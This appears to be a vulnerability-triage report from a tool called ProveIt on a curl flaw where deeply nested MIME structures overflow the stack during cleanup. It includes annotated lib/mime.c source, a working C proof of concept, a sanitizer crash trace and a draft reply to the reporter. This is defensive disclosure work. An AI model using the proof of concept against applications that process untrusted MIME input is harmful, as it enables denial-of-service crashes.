This one really crashes curl.
CVE-2026-92391: curl_mime_free stack overflow by recursion
What the report claims
The report says deeply nested MIME data can crash curl during cleanup.
Compare with curl's recorded outcome
Known vulnerability
A real vulnerability: CVE-2026-92391 curl_mime_free stack overflow by recursion
Shown for comparison after analysis. The pipeline did not see this label.
ProveIt's finding
ProveIt found the recursive cleanup path. A separate offline run in a Nebius sandbox caught a stack overflow inside curl.
Why this finding?
- The cleanup path (curl_mime_free -> Curl_mime_cleanpart -> cleanup_part_content -> mime_subparts_free -> curl_mime_free) forms a mutual recursion with no depth limit, while the read path enforces MAX_MIME_LEVELS=40.
- Construction APIs (curl_mime_addpart, curl_mime_subparts) impose no depth limit, so the cleanup code must handle arbitrarily deep structures.
- The same unbounded recursion exists in multipart_size and Curl_mime_prepare_headers.
- An application processing attacker-controlled MIME structure depth can be crashed reliably via stack overflow during cleanup — a denial-of-service vulnerability in the library.
The cleanup path
Each nested part enters cleanup again. Deep enough nesting exhausts the stack.
Inspect lib/mime.c:1122 →| 1113 | void curl_mime_free(curl_mime *mime) |
| 1114 | { |
| 1115 | curl_mimepart *part; |
| 1116 | |
| 1117 | if(mime) { |
| 1118 | mime_subparts_unbind(mime); /* Be sure it is not referenced anymore. */ |
| 1119 | while(mime->firstpart) { |
| 1120 | part = mime->firstpart; |
| 1121 | mime->firstpart = part->nextpart; |
| 1122 | Curl_mime_cleanpart(part); |
| 1123 | curlx_free(part); |
| 1124 | } |
| 1125 | curlx_free(mime); |
| 1126 | } |
| 1127 | } |
How this analysis ran 5 claims · 18 citations verified
Checked against curl master on 2026-09-12 (7bbaf2fffd94). Test evaluation split. Citation verification checks that a referenced line was in the evidence; it does not prove the model interpreted it correctly.
Proof-of-concept result
The report's proof of concept, built against this curl release and run offline, tripped a sanitizer inside curl's code.
Saved sandbox run · The proof of concept was compiled against curl 8.22.0, built from source with AddressSanitizer and UBSan, then run in an isolated VM with networking disabled. Expected: The program crashes with a stack overflow detected by AddressSanitizer, printing 'freeing 5000 nested MIME levels' before triggering the overflow.
The script that ran (c)
#include <curl/curl.h>
#include <stdio.h>
int main(void)
{
CURL *easy;
curl_mime *root;
curl_mime *current;
int i;
curl_global_init(CURL_GLOBAL_ALL);
easy = curl_easy_init();
root = curl_mime_init(easy);
current = root;
if(!easy || !root)
return 1;
for(i = 0; i < 5000; i++) {
curl_mimepart *part = curl_mime_addpart(current);
curl_mime *child = curl_mime_init(easy);
if(!part || !child)
return 1;
curl_mime_subparts(part, child);
current = child;
}
printf("freeing 5000 nested MIME levels\n");
fflush(stdout);
curl_mime_free(root);
curl_easy_cleanup(easy);
curl_global_cleanup();
return 0;
}
Sandbox output
PROVEIT_COMPILED
freeing 5000 nested MIME levels
POC_EXIT=1
PROVEIT_REPRO_DONE
ib/mime.c:1059
#188 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#189 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#190 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#191 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#192 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#193 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#194 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#195 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#196 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#197 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#198 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#199 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#200 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#201 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#202 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#203 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#204 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#205 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#206 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#207 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#208 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#209 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#210 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#211 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#212 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#213 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#214 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#215 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#216 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#217 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#218 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#219 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#220 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#221 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#222 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#223 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#224 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#225 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#226 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#227 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#228 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#229 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#230 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#231 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#232 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#233 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#234 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#235 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#236 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#237 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#238 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#239 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#240 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#241 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#242 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
#243 0x42129c in cleanup_part_content /src/curl/lib/mime.c:1059
#244 0x427699 in Curl_mime_cleanpart /src/curl/lib/mime.c:1101
#245 0x427b31 in curl_mime_free /src/curl/lib/mime.c:1122
#246 0x427cd5 in mime_subparts_free /src/curl/lib/mime.c:1083
SUMMARY: AddressSanitizer: stack-overflow /src/curl/lib/mime.c:1088 in mime_subparts_unbind
==17==ABORTING
Review a draft reply to the reporter
Edit and verify before sending.
Thanks for the detailed report and PoC. The code confirms the cleanup path (curl_mime_free, Curl_mime_cleanpart, cleanup_part_content, mime_subparts_free) recurses mutually with no depth guard, while the read path enforces MAX_MIME_LEVELS=40. Construction APIs also lack a limit. This is a valid denial-of-service issue: an application that builds MIME structures from untrusted input can be crashed on cleanup. We'll add depth tracking to the cleanup, sizing, and header-preparation paths, mirroring the read_part_content pattern.
Inspect all claims and source code 5 claims · 13 code excerpts
Report claims
The cleanup functions form a mutual recursion with no depth limit, causing stack overflow during MIME structure cleanup.
Read the reasoning
The code shows a clear mutual recursion chain: curl_mime_free -> Curl_mime_cleanpart -> cleanup_part_content -> mime_subparts_free -> curl_mime_free, with no depth limit in any of these functions. The read path (read_part_content) has a MAX_MIME_LEVELS=40 guard, but the cleanup path lacks any equivalent protection.
The issue occurs in `curl_mime_free`, `Curl_mime_cleanpart`, `cleanup_part_content`, and `mime_subparts_free` functions in `lib/mime.c`.
Read the reasoning
All four functions cited in the claim exist in lib/mime.c at the shown lines and form the recursive cleanup chain.
A deeply nested multipart structure built via `curl_mime_addpart` and `curl_mime_subparts` triggers the stack overflow when freed.
Read the reasoning
The construction APIs (curl_mime_addpart, curl_mime_subparts) impose no nesting depth limit. When a part's kind is MIMEKIND_MULTIPART, its freefunc is set to mime_subparts_free, which triggers the recursive cleanup chain when curl_mime_free is called on the root.
Process termination via stack overflow when freeing the MIME structure.
Read the reasoning
The mutual recursion has no termination condition based on depth. Each level adds ~4 stack frames (per report, consistent with call chain). At sufficient depth (e.g., 5000 in PoC), this exhausts the stack, causing process termination (stack overflow).
The provided proof of concept constructs 5000 nested MIME levels and calls `curl_mime_free` to trigger the overflow.
Read the reasoning
The PoC logic maps directly to the API: it creates 5000 nested MIME levels via curl_mime_addpart and curl_mime_subparts in a loop, then calls curl_mime_free(root). The provided code shows these functions accept unlimited nesting and the cleanup path has no depth guard, so the PoC would trigger the stack overflow as described.
Deterministic checks that failed
- line none of cleanup_part_content, freefunc, mime_subparts_free, curl_mime_free appear near line 47 at 7bbaf2fffd94; it reads: '#define MAX_MIME_LEVELS 40 /* avoid deep nesting */'
Read the original report (excerpt)
Source code
| 1113 | void curl_mime_free(curl_mime *mime) |
| C2: curl_mime_free definition | |
| C5: curl_mime_free called on root | |
| 1114 | { |
| 1115 | curl_mimepart *part; |
| 1116 | |
| 1117 | if(mime) { |
| 1118 | mime_subparts_unbind(mime); /* Be sure it is not referenced anymore. */ |
| 1119 | while(mime->firstpart) { |
| 1120 | part = mime->firstpart; |
| 1121 | mime->firstpart = part->nextpart; |
| 1122 | Curl_mime_cleanpart(part); |
| C1: curl_mime_free calls Curl_mime_cleanpart(part) | |
| 1123 | curlx_free(part); |
| 1124 | } |
| 1125 | curlx_free(mime); |
| 1126 | } |
| 1127 | } |
| 1098 | void Curl_mime_cleanpart(curl_mimepart *part) |
| C2: Curl_mime_cleanpart definition | |
| 1099 | { |
| 1100 | if(part) { |
| 1101 | cleanup_part_content(part); |
| C1: Curl_mime_cleanpart calls cleanup_part_content(part) | |
| 1102 | curl_slist_free_all(part->curlheaders); |
| 1103 | if(part->flags & MIME_USERHEADERS_OWNER) |
| 1104 | curl_slist_free_all(part->userheaders); |
| 1105 | curlx_safefree(part->mimetype); |
| 1106 | curlx_safefree(part->name); |
| 1107 | curlx_safefree(part->filename); |
| 1108 | Curl_mime_initpart(part); |
| 1109 | } |
| 1110 | } |
| 1056 | static void cleanup_part_content(curl_mimepart *part) |
| C2: cleanup_part_content definition | |
| 1057 | { |
| 1058 | if(part->freefunc) |
| 1059 | part->freefunc(part->arg); |
| C1: cleanup_part_content calls part->freefunc(part->arg) with no depth check | |
| C4: Recursive call chain with no base case for depth | |
| 1060 | |
| 1061 | part->readfunc = NULL; |
| 1062 | part->seekfunc = NULL; |
| 1063 | part->freefunc = NULL; |
| 1064 | part->arg = (void *)part; /* Defaults to part itself. */ |
| 1065 | part->data = NULL; |
| 1066 | part->fp = NULL; |
| 1067 | part->datasize = (curl_off_t)0; /* No size yet. */ |
| 1068 | cleanup_encoder_state(&part->encstate); |
| 1069 | part->kind = MIMEKIND_NONE; |
| 1070 | part->flags &= ~(unsigned int)MIME_FAST_READ; |
| 1071 | part->lastreadstatus = 1; /* Successful read status. */ |
| 1072 | part->state.state = MIMESTATE_BEGIN; |
| 1073 | } |
| 1244 | curl_mimepart *curl_mime_addpart(curl_mime *mime) |
| C3: curl_mime_addpart creates parts with no depth limit | |
| C5: curl_mime_addpart used in loop | |
| 1245 | { |
| 1246 | curl_mimepart *part; |
| 1247 | |
| 1248 | if(!mime) |
| 1249 | return NULL; |
| 1250 | |
| 1251 | part = curlx_malloc(sizeof(*part)); |
| 1252 | |
| 1253 | if(part) { |
| 1254 | Curl_mime_initpart(part); |
| 1255 | part->parent = mime; |
| 1256 | |
| 1257 | if(mime->lastpart) |
| 1258 | mime->lastpart->nextpart = part; |
| 1259 | else |
| 1260 | mime->firstpart = part; |
| 1261 | |
| 1262 | mime->lastpart = part; |
| 1263 | } |
| 1264 | |
| 1265 | return part; |
| 1266 | } |
| 1519 | CURLcode curl_mime_subparts(curl_mimepart *part, curl_mime *subparts) |
| C3: curl_mime_subparts sets subparts with no depth limit | |
| C5: curl_mime_subparts used in loop | |
| 1520 | { |
| 1521 | return Curl_mime_set_subparts(part, subparts, TRUE); |
| 1522 | } |
| 1075 | static void mime_subparts_free(void *ptr) |
| C2: mime_subparts_free definition | |
| C3: mime_subparts_free is set as freefunc for multipart parts | |
| 1076 | { |
| 1077 | curl_mime *mime = (curl_mime *)ptr; |
| 1078 | |
| 1079 | if(mime && mime->parent) { |
| 1080 | mime->parent->freefunc = NULL; /* Be sure we will not be called again. */ |
| 1081 | cleanup_part_content(mime->parent); /* Avoid dangling pointer in part. */ |
| C1: mime_subparts_free calls cleanup_part_content(mime->parent) | |
| 1082 | } |
| 1083 | curl_mime_free(mime); |
| C1: mime_subparts_free calls curl_mime_free(mime) - mutual recursion | |
| C4: Each nesting level adds multiple stack frames | |
| 1084 | } |
| 703 | static size_t read_part_content(curl_mimepart *part, char *buffer, |
| 704 | size_t bufsize, bool *hasread, |
| 705 | size_t call_depth) |
| 706 | { |
| 707 | size_t sz = 0; |
| 708 | |
| 709 | if(++call_depth > MAX_MIME_LEVELS) |
| C1: read_part_content has depth check: if(++call_depth > MAX_MIME_LEVELS) return READ_ERROR; | |
| 710 | return READ_ERROR; |
| 711 | |
| 712 | switch(part->lastreadstatus) { |
| 713 | case 0: |
| 714 | case CURL_READFUNC_ABORT: |
| 715 | case CURL_READFUNC_PAUSE: |
| 716 | case READ_ERROR: |
| 717 | return part->lastreadstatus; |
| 718 | default: |
| 719 | break; |
| 720 | } |
| 721 | |
| 722 | /* If we can determine we are at end of part data, spare a read. */ |
| 723 | if(part->datasize != (curl_off_t)-1 && |
| 724 | part->state.offset >= part->datasize) { |
| 725 | /* sz is already zero. */ |
| 726 | } |
| 727 | else { |
| 728 | switch(part->kind) { |
| 729 | case MIMEKIND_MULTIPART: |
| 730 | /* |
| 731 | * Cannot be processed as other kinds since read function requires |
| 732 | * an additional parameter and is highly recursive. |
| 733 | */ |
| 734 | sz = mime_subparts_read(buffer, 1, bufsize, part->arg, hasread, |
| 735 | call_depth); |
| 736 | break; |
| 737 | case MIMEKIND_FILE: |
| 738 | if(part->fp && feof(part->fp)) |
| 739 | break; /* At EOF. */ |
| 740 | FALLTHROUGH(); |
| 741 | default: |
| 742 | if(part->readfunc) { |
| 743 | if(!(part->flags & MIME_FAST_READ)) { |
| 744 | if(*hasread) |
| 745 | return STOP_FILLING; |
| 746 | *hasread = TRUE; |
| 747 | } |
| 748 | sz = part->readfunc(buffer, 1, bufsize, part->arg); |
| 749 | } |
| 750 | break; |
| 751 | } |
| 752 | } |
| 753 | |
| 754 | switch(sz) { |
| 755 | case STOP_FILLING: |
| 756 | break; |
| 757 | case 0: |
| 758 | case CURL_READFUNC_ABORT: |
| 759 | case CURL_READFUNC_PAUSE: |
| 760 | case READ_ERROR: |
| 761 | part->lastreadstatus = sz; |
| 762 | break; |
| 763 | default: |
| 764 | part->state.offset += sz; |
| 765 | part->lastreadstatus = sz; |
| 766 | break; |
| 767 | } |
| 768 | |
| 769 | return sz; |
| 770 | } |
Show 108 lines (not cited by the judge)
| 1761 | CURLcode Curl_mime_prepare_headers(struct Curl_easy *data, |
| 1762 | curl_mimepart *part, |
| 1763 | const char *contenttype, |
| 1764 | const char *disposition, |
| 1765 | enum mimestrategy strategy) |
| 1766 | { |
| 1767 | curl_mime *mime = NULL; |
| 1768 | const char *boundary = NULL; |
| 1769 | char *customct; |
| 1770 | const char *cte = NULL; |
| 1771 | CURLcode result = CURLE_OK; |
| 1772 | |
| 1773 | /* Get rid of previously prepared headers. */ |
| 1774 | curl_slist_free_all(part->curlheaders); |
| 1775 | part->curlheaders = NULL; |
| 1776 | |
| 1777 | /* Be sure we will not access old headers later. */ |
| 1778 | if(part->state.state == MIMESTATE_CURLHEADERS) |
| 1779 | mimesetstate(&part->state, MIMESTATE_CURLHEADERS, NULL); |
| 1780 | |
| 1781 | /* Check if content type is specified. */ |
| 1782 | customct = part->mimetype; |
| 1783 | if(!customct) |
| 1784 | customct = search_header(part->userheaders, STRCONST("Content-Type")); |
| 1785 | if(customct) |
| 1786 | contenttype = customct; |
| 1787 | |
| 1788 | /* If content type is not specified, try to determine it. */ |
| 1789 | if(!contenttype) { |
| 1790 | switch(part->kind) { |
| 1791 | case MIMEKIND_MULTIPART: |
| 1792 | contenttype = MULTIPART_CONTENTTYPE_DEFAULT; |
| 1793 | break; |
| 1794 | case MIMEKIND_FILE: |
| 1795 | contenttype = Curl_mime_contenttype(part->filename); |
| 1796 | if(!contenttype) |
| 1797 | contenttype = Curl_mime_contenttype(part->data); |
| 1798 | if(!contenttype && part->filename) |
| 1799 | contenttype = FILE_CONTENTTYPE_DEFAULT; |
| 1800 | break; |
| 1801 | default: |
| 1802 | contenttype = Curl_mime_contenttype(part->filename); |
| 1803 | break; |
| 1804 | } |
| 1805 | } |
| 1806 | |
| 1807 | if(part->kind == MIMEKIND_MULTIPART) { |
| 1808 | mime = (curl_mime *)part->arg; |
| 1809 | if(mime) |
| 1810 | boundary = mime->boundary; |
| 1811 | } |
| 1812 | else if(contenttype && !customct && |
| 1813 | content_type_match(contenttype, STRCONST("text/plain")) && |
| 1814 | (strategy == MIMESTRATEGY_MAIL || !part->filename)) |
| 1815 | contenttype = NULL; |
| 1816 | |
| 1817 | /* Issue content-disposition header only if not already set by caller. */ |
| 1818 | if(!search_header(part->userheaders, STRCONST("Content-Disposition"))) { |
| 1819 | result = add_content_disposition(data, part, disposition, |
| 1820 | contenttype, strategy); |
| 1821 | if(result) |
| 1822 | return result; |
| 1823 | } |
| 1824 | |
| 1825 | /* Issue Content-Type header. */ |
| 1826 | if(contenttype) { |
| 1827 | result = add_content_type(&part->curlheaders, contenttype, boundary); |
| 1828 | if(result) |
| 1829 | return result; |
| 1830 | } |
| 1831 | |
| 1832 | /* Content-Transfer-Encoding header. */ |
| 1833 | if(!search_header(part->userheaders, |
| 1834 | STRCONST("Content-Transfer-Encoding"))) { |
| 1835 | if(part->encoder) |
| 1836 | cte = part->encoder->name; |
| 1837 | else if(contenttype && strategy == MIMESTRATEGY_MAIL && |
| 1838 | part->kind != MIMEKIND_MULTIPART) |
| 1839 | cte = "8bit"; |
| 1840 | if(cte) { |
| 1841 | result = Curl_mime_add_header(&part->curlheaders, |
| 1842 | "Content-Transfer-Encoding: %s", cte); |
| 1843 | if(result) |
| 1844 | return result; |
| 1845 | } |
| 1846 | } |
| 1847 | |
| 1848 | /* If we were reading curl-generated headers, restart with new ones (this |
| 1849 | should not occur). */ |
| 1850 | if(part->state.state == MIMESTATE_CURLHEADERS) |
| 1851 | mimesetstate(&part->state, MIMESTATE_CURLHEADERS, part->curlheaders); |
| 1852 | |
| 1853 | /* Process subparts. */ |
| 1854 | if(part->kind == MIMEKIND_MULTIPART && mime) { |
| 1855 | curl_mimepart *subpart; |
| 1856 | |
| 1857 | disposition = NULL; |
| 1858 | if(content_type_match(contenttype, STRCONST("multipart/form-data"))) |
| 1859 | disposition = "form-data"; |
| 1860 | for(subpart = mime->firstpart; subpart; subpart = subpart->nextpart) { |
| 1861 | result = Curl_mime_prepare_headers(data, subpart, NULL, |
| 1862 | disposition, strategy); |
| 1863 | if(result) |
| 1864 | return result; |
| 1865 | } |
| 1866 | } |
| 1867 | return result; |
| 1868 | } |
Show 108 lines (not cited by the judge)
| 1759 | CURLcode Curl_mime_prepare_headers(struct Curl_easy *data, |
| 1760 | curl_mimepart *part, |
| 1761 | const char *contenttype, |
| 1762 | const char *disposition, |
| 1763 | enum mimestrategy strategy) |
| 1764 | { |
| 1765 | curl_mime *mime = NULL; |
| 1766 | const char *boundary = NULL; |
| 1767 | char *customct; |
| 1768 | const char *cte = NULL; |
| 1769 | CURLcode result = CURLE_OK; |
| 1770 | |
| 1771 | /* Get rid of previously prepared headers. */ |
| 1772 | curl_slist_free_all(part->curlheaders); |
| 1773 | part->curlheaders = NULL; |
| 1774 | |
| 1775 | /* Be sure we will not access old headers later. */ |
| 1776 | if(part->state.state == MIMESTATE_CURLHEADERS) |
| 1777 | mimesetstate(&part->state, MIMESTATE_CURLHEADERS, NULL); |
| 1778 | |
| 1779 | /* Check if content type is specified. */ |
| 1780 | customct = part->mimetype; |
| 1781 | if(!customct) |
| 1782 | customct = search_header(part->userheaders, STRCONST("Content-Type")); |
| 1783 | if(customct) |
| 1784 | contenttype = customct; |
| 1785 | |
| 1786 | /* If content type is not specified, try to determine it. */ |
| 1787 | if(!contenttype) { |
| 1788 | switch(part->kind) { |
| 1789 | case MIMEKIND_MULTIPART: |
| 1790 | contenttype = MULTIPART_CONTENTTYPE_DEFAULT; |
| 1791 | break; |
| 1792 | case MIMEKIND_FILE: |
| 1793 | contenttype = Curl_mime_contenttype(part->filename); |
| 1794 | if(!contenttype) |
| 1795 | contenttype = Curl_mime_contenttype(part->data); |
| 1796 | if(!contenttype && part->filename) |
| 1797 | contenttype = FILE_CONTENTTYPE_DEFAULT; |
| 1798 | break; |
| 1799 | default: |
| 1800 | contenttype = Curl_mime_contenttype(part->filename); |
| 1801 | break; |
| 1802 | } |
| 1803 | } |
| 1804 | |
| 1805 | if(part->kind == MIMEKIND_MULTIPART) { |
| 1806 | mime = (curl_mime *)part->arg; |
| 1807 | if(mime) |
| 1808 | boundary = mime->boundary; |
| 1809 | } |
| 1810 | else if(contenttype && !customct && |
| 1811 | content_type_match(contenttype, STRCONST("text/plain"))) |
| 1812 | if(strategy == MIMESTRATEGY_MAIL || !part->filename) |
| 1813 | contenttype = NULL; |
| 1814 | |
| 1815 | /* Issue content-disposition header only if not already set by caller. */ |
| 1816 | if(!search_header(part->userheaders, STRCONST("Content-Disposition"))) { |
| 1817 | result = add_content_disposition(data, part, disposition, |
| 1818 | contenttype, strategy); |
| 1819 | if(result) |
| 1820 | return result; |
| 1821 | } |
| 1822 | |
| 1823 | /* Issue Content-Type header. */ |
| 1824 | if(contenttype) { |
| 1825 | result = add_content_type(&part->curlheaders, contenttype, boundary); |
| 1826 | if(result) |
| 1827 | return result; |
| 1828 | } |
| 1829 | |
| 1830 | /* Content-Transfer-Encoding header. */ |
| 1831 | if(!search_header(part->userheaders, |
| 1832 | STRCONST("Content-Transfer-Encoding"))) { |
| 1833 | if(part->encoder) |
| 1834 | cte = part->encoder->name; |
| 1835 | else if(contenttype && strategy == MIMESTRATEGY_MAIL && |
| 1836 | part->kind != MIMEKIND_MULTIPART) |
| 1837 | cte = "8bit"; |
| 1838 | if(cte) { |
| 1839 | result = Curl_mime_add_header(&part->curlheaders, |
| 1840 | "Content-Transfer-Encoding: %s", cte); |
| 1841 | if(result) |
| 1842 | return result; |
| 1843 | } |
| 1844 | } |
| 1845 | |
| 1846 | /* If we were reading curl-generated headers, restart with new ones (this |
| 1847 | should not occur). */ |
| 1848 | if(part->state.state == MIMESTATE_CURLHEADERS) |
| 1849 | mimesetstate(&part->state, MIMESTATE_CURLHEADERS, part->curlheaders); |
| 1850 | |
| 1851 | /* Process subparts. */ |
| 1852 | if(part->kind == MIMEKIND_MULTIPART && mime) { |
| 1853 | curl_mimepart *subpart; |
| 1854 | |
| 1855 | disposition = NULL; |
| 1856 | if(content_type_match(contenttype, STRCONST("multipart/form-data"))) |
| 1857 | disposition = "form-data"; |
| 1858 | for(subpart = mime->firstpart; subpart; subpart = subpart->nextpart) { |
| 1859 | result = Curl_mime_prepare_headers(data, subpart, NULL, |
| 1860 | disposition, strategy); |
| 1861 | if(result) |
| 1862 | return result; |
| 1863 | } |
| 1864 | } |
| 1865 | return result; |
| 1866 | } |
Show 1 lines (not cited by the judge)
| 1428 | #define curlx_free(ptr) curl_dbg_free(ptr, __LINE__, __FILE__) |
Show 10 lines (not cited by the judge)
| 1087 | static void mime_subparts_unbind(void *ptr) |
| 1088 | { |
| 1089 | curl_mime *mime = (curl_mime *)ptr; |
| 1090 | |
| 1091 | if(mime && mime->parent) { |
| 1092 | mime->parent->freefunc = NULL; /* Be sure we will not be called again. */ |
| 1093 | cleanup_part_content(mime->parent); /* Avoid dangling pointer in part. */ |
| 1094 | mime->parent = NULL; |
| 1095 | } |
| 1096 | } |
Show 24 lines (not cited by the judge)
| 1570 | static curl_off_t multipart_size(curl_mime *mime) |
| 1571 | { |
| 1572 | curl_off_t size; |
| 1573 | curl_off_t boundarysize; |
| 1574 | curl_mimepart *part; |
| 1575 | |
| 1576 | if(!mime) |
| 1577 | return 0; /* Not present -> empty. */ |
| 1578 | |
| 1579 | boundarysize = 4 + MIME_BOUNDARY_LEN + 2; |
| 1580 | size = boundarysize; /* Final boundary - CRLF after headers. */ |
| 1581 | |
| 1582 | for(part = mime->firstpart; part; part = part->nextpart) { |
| 1583 | curl_off_t sz = mime_size(part); |
| 1584 | |
| 1585 | if(sz < 0) |
| 1586 | size = sz; |
| 1587 | |
| 1588 | if(size >= 0) |
| 1589 | size += boundarysize + sz; |
| 1590 | } |
| 1591 | |
| 1592 | return size; |
| 1593 | } |
Show 42 lines (not cited by the judge)
| 84 | while(<CURL_H>) { |
| 85 | my $l = $_; |
| 86 | if($fl) { |
| 87 | # continued deprecation |
| 88 | if($l =~ /(.*)\),/) { |
| 89 | $fl .= $1; |
| 90 | |
| 91 | # the end |
| 92 | my @p = split(/, */, $fl); |
| 93 | add($p[0], $p[1], $p[2]); |
| 94 | undef $fl; |
| 95 | } |
| 96 | else { |
| 97 | # another line to append |
| 98 | chomp $l; |
| 99 | $fl .= $l; |
| 100 | } |
| 101 | } |
| 102 | |
| 103 | if(/^ *CURLOPTDEPRECATED\((.*)/) { |
| 104 | $fl = $1; |
| 105 | chomp $fl; |
| 106 | } |
| 107 | |
| 108 | if(/^ *CURLOPT\(([^,]*), ([^,]*), (\d+)\)/) { |
| 109 | my($opt, $type, $num) = ($1, $2, $3); |
| 110 | add($opt, $type, $num); |
| 111 | } |
| 112 | |
| 113 | # alias for an older option |
| 114 | # old = new |
| 115 | if(/^#define (CURLOPT_[^ ]*) *(CURLOPT_\S*)/) { |
| 116 | my ($o, $n) = ($1, $2); |
| 117 | # skip obsolete ones |
| 118 | if(($n !~ /OBSOLETE/) && ($o !~ /OBSOLETE/)) { |
| 119 | $o =~ s/^CURLOPT_//; |
| 120 | $n =~ s/^CURLOPT_//; |
| 121 | $alias{$o} = $n; |
| 122 | push @names, $o; |
| 123 | } |
| 124 | } |
| 125 | } |